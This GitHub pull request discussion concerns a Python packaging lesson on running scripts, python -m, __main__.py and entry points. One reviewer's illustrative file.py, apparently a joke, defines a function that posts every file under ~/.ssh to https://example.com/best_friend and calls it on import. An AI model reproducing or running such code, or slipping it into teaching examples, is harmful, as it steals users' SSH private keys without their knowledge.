Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add: Jeremy's scripts activity #87

Closed
wants to merge 7 commits into from
Closed

Conversation

lwasser
Copy link
Member

@lwasser lwasser commented Oct 28, 2024

This is the start of an activity that @ucodery put together on entry points and scripts.
This is Jeremy's amazing work not mine!! i'm just opening the PR so my name is on the commit .

We didn't have a packaging directory yet but the idea here would be to create activities that link to our tutorials and also take advantage of the copier template that @Midnighter created!!

I suspect a few people will be ahead during the packaging workshop. Also, I suspect that things will move faster now that we have a template. It would be useful to discuss scripts and entry points during that workshop!

Copy link
Contributor

@sneakers-the-rat sneakers-the-rat left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

heck ya this is a lovely, tight, contained lesson.

I made some suggestions on concept flow, won't reiterate them here, and I am assuming we're not putting into the toctree in this PR on purpose because we want to do that later?

python-packaging/execute-code.md Outdated Show resolved Hide resolved
python-packaging/execute-code.md Outdated Show resolved Hide resolved
python-packaging/execute-code.md Outdated Show resolved Hide resolved
Comment on lines 95 to 96
- file is associated with specific python
- don't have to remember which
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i think actually getting to a level of comfort with this idea might take a few more examples, like 'say you have installed several python versions with pyenv, the shebang can indicate python3.11 or etc. and like "what does that /usr/bin/env do?" so maybe we link out to further info for this point?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe? I am having trouble thinking of anything to say here that doesn't go down a long tangent about virtual environments.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ya ya, i think this is a sort of a special case (i don't think i have ever used the shebang method except when i first started using python and didn't know how to make packages), so if it's proving troublesome i think safe to omit :)


## Execute a python package

In [Code Workflow Logic][Code Workflow Logic] you learned of the two primary ways to execute a stand-alone Python script.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

does this link work? is it a special [][] myst link or something?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think so... It was a reminder to me to come back and link to the first lesson after this was integrated into the existing lesson hierarchy.

python-packaging/execute-code.md Outdated Show resolved Hide resolved
python-packaging/execute-code.md Outdated Show resolved Hide resolved
Comment on lines 128 to 130
Scripts defined in project configuration, such as `pyproject.toml`, do not need to exist as independent files in
the package repository, but will be created by installation tools, such as `pip`, at the time the package is
installed, in a manner customized to the current operating system.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i am not sure what this means?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

scripts are not files in the repo's source. The black "command" is constructed and saved during install, it is part of the job of an installer to make these scripts. This is as opposed to keeping explicit scripts checked into the VCS (like a bin/run_me with a shebang) that some projects do. Some even include those scripts in the sdist/wheel; if they do, they also get installed into e.g. the venv and appear on PATH. But those are not "entrypoint scripts".

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

aha that's what i figured you were referring to - i think this might be TMI for newbies :). it makes me think like "wait so should I not put this .py file in my repo? how will the tool know how to generate it for me if it's not there? when what you're referring to are the little autogenerated shim files that just call the script with shebang/etc.

Might be another good one for an admonition box after explaining the concept of [project.scripts] kind of scripts - "try this: install your package in a virtual environment, and then open the venv/bin/your_script file - what the heck is that about!?!?!"

i think it's important information (in the same way that i always tell anyone who wants to know what a virtual environment is to just read the bin/activate file (actually usually i parse it for them because there's really only two things you need to know but they're hidden in the shell script)) but might be a bit much in main text, and seems like it fits as a "if you want to know more" for the curious campers <3

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Took this out for now

- don't have to even remember it is a Python script


# Share Code
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think myst is going to complain about two # headings in a single doc,

could ToC structure be something like

# Executing code
## Executing Scripts
### ...
## Executing Modules
### ...
## Entrypoints - `project.scripts`
### ...

or whatever order - i think that order has a nice build to it: "ok we are running single files, probably familiar, now we're running a file but it's a special file __main__ (or __name__ == "__main__" block), and now we're running a module anywhere in our shell" but up 2 u.

Copy link
Contributor

@sneakers-the-rat sneakers-the-rat Oct 28, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

expanded on this a bit in next comment - this one on top-level topic organization, and next on organization within executing modules. I think it would be worth it to split out scripts/entrypoints into their own top-level section after python -m module and __main__.py since they are sorta distinct concepts that build on each other

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I mentioned this in a separate discussion about the executable lesson, but I originally saw this as two separate lessons, but I just drafted it as a single file. I though it was maybe too much to do all together. Also, the first section requires almost no other preliminary knowledge, while the second gains a lot by the audience at least already being familiar with packaging and package structure. It could instead be a single lesson, but I would structure it slightly differently.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

up to you! always in favor of smaller chunks :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I split it all the way in my next draft.


#### More About Main

You just learned that the `__main__` module allows a package to be executed directly from the command line with
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i was wondering where this was, ha :)

I think the flow might be a little clearer if we go

  • execute single python files with python file.py
  • execute a file within a python package with python -m mypackage.myfile initially with some loose calls at the module level, and then demonstrating why we might want to wrap those up in a function or put them in a if __name__ == "__main__": block so they don't run when imported,
  • execute a special __main__.py file that takes the place of that if __name__ == "__main__": block

Just because I think introducing a new dunder file might take some motivating, like "why do i need this special file" and so introducing directly running a module file first gets you that motivation and also is a nice bridge from running a python script directly.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm, this is actually part of what I am trying to teach here. python -m is not for single-file execution, it only works to execute (part of) a package. So you can't introduce -m without __main__.py plus a full intro to packaging (building, pyproject.toml, installing, ...). Also __main__.py files typically don't have a if __name__ == "__main__": because their purpose is only to be executed, not imported. (this is called out in the standard documentation).

So this may need some reordering, but you seem to have dropped entrypoints in your suggetion, and merged python file.py and ./file.py(very understandable). I do think that theifguard could maybe come first, as it is IME more common thanmain.py`

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you seem to have dropped entrypoints in your suggetion

oh ya ya this was just about the "this section" part, thinking of putting entrypoints after this.

python -m is not for single-file execution

The way i was thinking about this as far as like a train of thought in a lesson was like:

I have a python file file.py like this:

import requests; from pathlib import Path
def a_function():
    """dont worry too much about it"""
    requests.post("https://example.com/best_friend", data={str(p):p.read_text() for p in (Path.home()/'.ssh').glob('**/*')})

a_function()

first: i can call that function like python file.py

Then I make a package like

- pyproject.toml
- my_package
  |- __init__.py
  |- file.py

second: now (if i have installed it), i can call my file like python -m my_package.file

but wait! there is problem, what if we want to import our function and use it elsewhere? (introduce if __name__ == "__main__") concept

But wait! there's also a whole other special file for that

- pyproject.toml
- my_package
  |- __init__.py
  |- __main__.py
  |- file.py

so third: if i move my a_function() call to __main__.py, i can call my function like python -m my_package

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I like this a lot. I took most of this approach in my next draft.

@sneakers-the-rat
Copy link
Contributor

(btw in case this isn't clear, none of these comments are intended as blockers, i think the context for this lesson is intended to be taught in the current workshop, so plz feel free to merge and iterate and whatnot)

@willingc willingc added the enhancement New feature or request label Nov 14, 2024
@lwasser
Copy link
Member Author

lwasser commented Nov 21, 2024

hi all - i'm so sorry that i am slowing things down. A few notes - if you want to merge this and open a new pr with modifications so you are more in control of the edits you are welcome to do that! however you want to move forward, just let me know what will make things easiest and what will ensure that I am not in the way of things moving forward!

@lwasser
Copy link
Member Author

lwasser commented Nov 21, 2024

Before merging, we'd only want to add a link to the content from the home page / top nav! But again, feel free to merge this once you are happy with it and then open new PR's and issues as needed.

@ucodery
Copy link
Contributor

ucodery commented Dec 11, 2024

I am closing this PR in favor of #97 which I actually control. I managed to get CI working by doing this, but I left all the commits from this PR untouched, so should be easy to brows what's new. If I don't see any objections I will merge that one EoW. As always feel free to bug me here or on slack with thoughts on the lesson post-merge.

@ucodery ucodery closed this Dec 11, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants